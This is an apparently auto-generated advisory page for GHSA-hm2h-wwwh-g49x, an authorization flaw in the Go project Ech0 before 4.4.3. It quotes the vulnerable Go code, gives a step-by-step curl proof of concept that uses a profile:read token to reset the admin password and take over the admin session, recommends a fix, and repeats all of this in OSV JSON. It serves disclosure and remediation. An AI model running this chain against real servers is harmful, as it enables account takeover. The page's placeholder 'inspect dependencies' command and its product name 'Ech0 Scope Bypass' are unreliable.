GHSA-hm2h-wwwh-g49x: Ech0 Scope Bypass Profile:read Access Token Can Change Vulnerability

MODERATE
CVSS 6.5
CWE-863
Published
Advisory Summary

GHSA-hm2h-wwwh-g49x is a MODERATE (CVSS 6.5) profile:read access token can change vulnerability (CWE-863: Incorrect Authorization) affecting Ech0 Scope Bypass libraries in the Go ecosystem. The issue involves profile:read access token can change admin password and escalate to unrestricted session. Remediation is available by upgrading affected packages to version 4.4.3.

GHSA-hm2h-wwwh-g49x at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-hm2h-wwwh-g49x
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-863: Incorrect Authorization
Affected Product Ech0 Scope Bypass
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required High (PR:H)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix GHSA-hm2h-wwwh-g49x

To remediate this vulnerability, upgrade all affected Ech0 Scope Bypass dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/lin-snow/ech0 fixed: 4.4.3
Upgrade github.com/lin-snow/ech0 to 4.4.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/lin-snow/ech0

How to Check if You Are Affected

To determine whether your application is affected by GHSA-hm2h-wwwh-g49x, inspect your project dependencies for Ech0 Scope Bypass:

inspect dependencies for github.com/lin-snow/ech0

Analyze the terminal output to locate any version of Ech0 Scope Bypass in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.4.3), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-863: Incorrect Authorization, where the product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. In Ech0 Scope Bypass, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `PUT /user` endpoint is protected by `RequireScopes("profile:read")`, which is a read-only scope. However, the endpoint performs write operations including password changes. An attacker who obtains an admin's restricted `profile:read` access token can change the admin's password, then login to receive an unrestricted session token that bypasses all scope enforcement. ## Details The scope enforcement system defines granular scopes (e.g., `echo:read`, `echo:write`, `admin:user`) but has no `profile:write` scope. The `PUT /user` route is protected only by `profile:read`: ```go // internal/router/user.go:40-44 appRouterGroup.AuthRouterGroup.PUT( "/user", middleware.RequireScopes(authModel.ScopeProfileRead), h.UserHandler.UpdateUser(), ) ``` The `RequireScopes` middleware bypasses all scope checks for session tokens, and for access tokens only verifies the token contains the listed scopes: ```go // internal/middleware/scope.go:14-19 func RequireScopes(scopes ...string) gin.HandlerFunc { return func(ctx *gin.Context) { v := viewer.MustFromContext(ctx.Request.Context()) if v.TokenType() == authModel.TokenTypeSession { ctx.Next() return } // ... checks access token has required scopes (line 53) ``` The `UpdateUser` service checks `user.IsAdmin` but does not verify the token's scope is sufficient for write operations: ```go // internal/service/user/user.go:271-300 func (userService *UserService) UpdateUser(ctx context.Context, userdto model.UserInfoDto) error { userid := viewer.MustFromContext(ctx).UserID() user, err := userService.userRepository.GetUserByID(ctx, userid) // ... if !user.IsAdmin { return errors.New(commonModel.NO_PERMISSION_DENIED) } // ... if userdto.Password != "" && cryptoUtil.MD5Encrypt(userdto.Password) != user.Password { user.Password = cryptoUtil.MD5Encrypt(userdto.Password) // line 299 } ``` After the password is changed, the attacker logs in via `POST /login` which calls `issueUserToken` → `CreateClaims`, producing a session token with `Type: "session"` (jwt.go:33). Session tokens bypass `RequireScopes` entirely, granting unrestricted API access. **Escalation chain:** `profile:read` access token → password change → login → unrestricted session token (bypasses all scope checks) → full admin access including `admin:settings`, `admin:user`, `admin:token`, `file:write`, etc. ## PoC ```bash # Prerequisites: Admin has created a profile:read access token for a read-only integration # The attacker has obtained this token (e.g., from compromised integration, log leak, etc.) ACCESS_TOKEN="<admin_profile_read_access_token>" SERVER="http://localhost:8080" # Step 1: Verify the token only has profile:read scope (can read profile) curl -s -X GET "$SERVER/api/user" \ -H "Authorization: Bearer $ACCESS_TOKEN" # Expected: 200 OK with user profile data # Step 2: Verify the token CANNOT access admin endpoints (scope enforcement works) curl -s -X GET "$SERVER/api/allusers" \ -H "Authorization: Bearer $ACCESS_TOKEN" # Expected: 403 Forbidden (requires admin:user scope) # Step 3: Change the admin's password using the profile:read token curl -s -X PUT "$SERVER/api/user" \ -H "Authorization: Bearer $ACCESS_TOKEN" \ -H "Content-Type: application/json" \ -d '{"password":"attackerpass123"}' # Expected: 200 OK — password changed despite only having profile:read scope # Step 4: Login with the new password to get an unrestricted session token curl -s -X POST "$SERVER/api/login" \ -H "Content-Type: application/json" \ -d '{"username":"admin","password":"attackerpass123"}' # Expected: 200 OK with session JWT token # Step 5: Use the session token to access admin-only endpoints SESSION_TOKEN="<session_token_from_step_4>" curl -s -X GET "$SERVER/api/allusers" \ -H "Authorization: Bearer $SESSION_TOKEN" # Expected: 200 OK — full admin access, all scope restrictions bypassed ``` ## Impact An attacker who obtains an admin's `profile:read` access token — intended to be the most restrictive scope available — can: 1. **Change the admin's password** without any write-level scope, violating the principle of least privilege 2. **Escalate to a full unrestricted session token** by logging in with the new credentials 3. **Gain complete admin access** including user management (`admin:user`), system settings (`admin:settings`), token management (`admin:token`), file operations (`file:write`), and all content operations 4. **Lock the original admin out** of password-based authentication (though OAuth/passkey login remains available) This defeats the entire purpose of the scope system: tokens intended for read-only integrations can be leveraged for full account takeover. ## Recommended Fix Add a `profile:write` scope and require it for the `PUT /user` endpoint: ```go // internal/model/auth/scope.go — add new scope const ( // ... existing scopes ... ScopeProfileRead = "profile:read" ScopeProfileWrite = "profile:write" // NEW ) var validScopes = map[string]struct{}{ // ... existing entries ... ScopeProfileWrite: {}, // NEW } ``` ```go // internal/router/user.go:40-44 — require profile:write for PUT appRouterGroup.AuthRouterGroup.PUT( "/user", middleware.RequireScopes(authModel.ScopeProfileWrite), // Changed from ScopeProfileRead h.UserHandler.UpdateUser(), ) ``` Similarly, update other write operations currently gated behind `profile:read`: - `POST /oauth/:provider/bind` → require `profile:write` - `POST /passkey/register/begin` and `/finish` → require `profile:write` - `DELETE /passkeys/:id` → require `profile:write` - `PUT /passkeys/:id` → require `profile:write`

GHSA-hm2h-wwwh-g49x Affected Ech0 Scope Bypass Versions

1 component(s)
Fixed Versions:
4.4.3
Product / Package Ecosystem Affected Versions Fixed Version
github.com/lin-snow/ech0
Go
< 4.4.3
4.4.3

References

Frequently Asked Questions

What is GHSA-hm2h-wwwh-g49x?
GHSA-hm2h-wwwh-g49x is a security vulnerability in Ech0 Scope Bypass involving profile:read Access Token Can Change Admin Password and Escalate to Unrestricted Session under CWE-863: Incorrect Authorization.
Which Ech0 Scope Bypass versions are affected?
Affected versions include releases prior to 4.4.3 across affected packages: github.com/lin-snow/ech0.
What version fixes GHSA-hm2h-wwwh-g49x?
Upgrading to 4.4.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/lin-snow/ech0 affected?
Yes, github.com/lin-snow/ech0 is affected in releases prior to 4.4.3. Upgrade your dependency to 4.4.3 or later.
What is the CVSS score of GHSA-hm2h-wwwh-g49x?
GHSA-hm2h-wwwh-g49x has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N.
What CWE is associated with GHSA-hm2h-wwwh-g49x?
GHSA-hm2h-wwwh-g49x is classified under CWE-863: Incorrect Authorization (The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.).
How can I check Go dependencies for GHSA-hm2h-wwwh-g49x?
Run the dependency tree command: 'inspect dependencies for github.com/lin-snow/ech0'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hm2h-wwwh-g49x",
  "modified" : "2026-04-10T19:49:14Z",
  "published" : "2026-04-10T19:49:13Z",
  "aliases" : [ ],
  "summary" : "Ech0 Scope Bypass: profile:read Access Token Can Change Admin Password and Escalate to Unrestricted Session",
  "details" : "## Summary\n\nThe `PUT /user` endpoint is protected by `RequireScopes(\"profile:read\")`, which is a read-only scope. However, the endpoint performs write operations including password changes. An attacker who obtains an admin's restricted `profile:read` access token can change the admin's password, then login to receive an unrestricted session token that bypasses all scope enforcement.\n\n## Details\n\nThe scope enforcement system defines granular scopes (e.g., `echo:read`, `echo:write`, `admin:user`) but has no `profile:write` scope. The `PUT /user` route is protected only by `profile:read`:\n\n```go\n// internal/router/user.go:40-44\nappRouterGroup.AuthRouterGroup.PUT(\n    \"/user\",\n    middleware.RequireScopes(authModel.ScopeProfileRead),\n    h.UserHandler.UpdateUser(),\n)\n```\n\nThe `RequireScopes` middleware bypasses all scope checks for session tokens, and for access tokens only verifies the token contains the listed scopes:\n\n```go\n// internal/middleware/scope.go:14-19\nfunc RequireScopes(scopes ...string) gin.HandlerFunc {\n    return func(ctx *gin.Context) {\n        v := viewer.MustFromContext(ctx.Request.Context())\n        if v.TokenType() == authModel.TokenTypeSession {\n            ctx.Next()\n            return\n        }\n        // ... checks access token has required scopes (line 53)\n```\n\nThe `UpdateUser` service checks `user.IsAdmin` but does not verify the token's scope is sufficient for write operations:\n\n```go\n// internal/service/user/user.go:271-300\nfunc (userService *UserService) UpdateUser(ctx context.Context, userdto model.UserInfoDto) error {\n    userid := viewer.MustFromContext(ctx).UserID()\n    user, err := userService.userRepository.GetUserByID(ctx, userid)\n    // ...\n    if !user.IsAdmin {\n        return errors.New(commonModel.NO_PERMISSION_DENIED)\n    }\n    // ...\n    if userdto.Password != \"\" && cryptoUtil.MD5Encrypt(userdto.Password) != user.Password {\n        user.Password = cryptoUtil.MD5Encrypt(userdto.Password)  // line 299\n    }\n```\n\nAfter the password is changed, the attacker logs in via `POST /login` which calls `issueUserToken` → `CreateClaims`, producing a session token with `Type: \"session\"` (jwt.go:33). Session tokens bypass `RequireScopes` entirely, granting unrestricted API access.\n\n**Escalation chain:** `profile:read` access token → password change → login → unrestricted session token (bypasses all scope checks) → full admin access including `admin:settings`, `admin:user`, `admin:token`, `file:write`, etc.\n\n## PoC\n\n```bash\n# Prerequisites: Admin has created a profile:read access token for a read-only integration\n# The attacker has obtained this token (e.g., from compromised integration, log leak, etc.)\n\nACCESS_TOKEN=\"<admin_profile_read_access_token>\"\nSERVER=\"http://localhost:8080\"\n\n# Step 1: Verify the token only has profile:read scope (can read profile)\ncurl -s -X GET \"$SERVER/api/user\" \\\n  -H \"Authorization: Bearer $ACCESS_TOKEN\"\n# Expected: 200 OK with user profile data\n\n# Step 2: Verify the token CANNOT access admin endpoints (scope enforcement works)\ncurl -s -X GET \"$SERVER/api/allusers\" \\\n  -H \"Authorization: Bearer $ACCESS_TOKEN\"\n# Expected: 403 Forbidden (requires admin:user scope)\n\n# Step 3: Change the admin's password using the profile:read token\ncurl -s -X PUT \"$SERVER/api/user\" \\\n  -H \"Authorization: Bearer $ACCESS_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"password\":\"attackerpass123\"}'\n# Expected: 200 OK — password changed despite only having profile:read scope\n\n# Step 4: Login with the new password to get an unrestricted session token\ncurl -s -X POST \"$SERVER/api/login\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"username\":\"admin\",\"password\":\"attackerpass123\"}'\n# Expected: 200 OK with session JWT token\n\n# Step 5: Use the session token to access admin-only endpoints\nSESSION_TOKEN=\"<session_token_from_step_4>\"\ncurl -s -X GET \"$SERVER/api/allusers\" \\\n  -H \"Authorization: Bearer $SESSION_TOKEN\"\n# Expected: 200 OK — full admin access, all scope restrictions bypassed\n```\n\n## Impact\n\nAn attacker who obtains an admin's `profile:read` access token — intended to be the most restrictive scope available — can:\n\n1. **Change the admin's password** without any write-level scope, violating the principle of least privilege\n2. **Escalate to a full unrestricted session token** by logging in with the new credentials\n3. **Gain complete admin access** including user management (`admin:user`), system settings (`admin:settings`), token management (`admin:token`), file operations (`file:write`), and all content operations\n4. **Lock the original admin out** of password-based authentication (though OAuth/passkey login remains available)\n\nThis defeats the entire purpose of the scope system: tokens intended for read-only integrations can be leveraged for full account takeover.\n\n## Recommended Fix\n\nAdd a `profile:write` scope and require it for the `PUT /user` endpoint:\n\n```go\n// internal/model/auth/scope.go — add new scope\nconst (\n    // ... existing scopes ...\n    ScopeProfileRead    = \"profile:read\"\n    ScopeProfileWrite   = \"profile:write\"  // NEW\n)\n\nvar validScopes = map[string]struct{}{\n    // ... existing entries ...\n    ScopeProfileWrite:  {},  // NEW\n}\n```\n\n```go\n// internal/router/user.go:40-44 — require profile:write for PUT\nappRouterGroup.AuthRouterGroup.PUT(\n    \"/user\",\n    middleware.RequireScopes(authModel.ScopeProfileWrite),  // Changed from ScopeProfileRead\n    h.UserHandler.UpdateUser(),\n)\n```\n\nSimilarly, update other write operations currently gated behind `profile:read`:\n- `POST /oauth/:provider/bind` → require `profile:write`\n- `POST /passkey/register/begin` and `/finish` → require `profile:write`\n- `DELETE /passkeys/:id` → require `profile:write`\n- `PUT /passkeys/:id` → require `profile:write`",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/lin-snow/ech0"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.4.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/lin-snow/Ech0/security/advisories/GHSA-hm2h-wwwh-g49x"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/lin-snow/Ech0"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/lin-snow/Ech0/releases/tag/v4.4.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-863" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-10T19:49:13Z",
    "nvd_published_at" : null
  }
}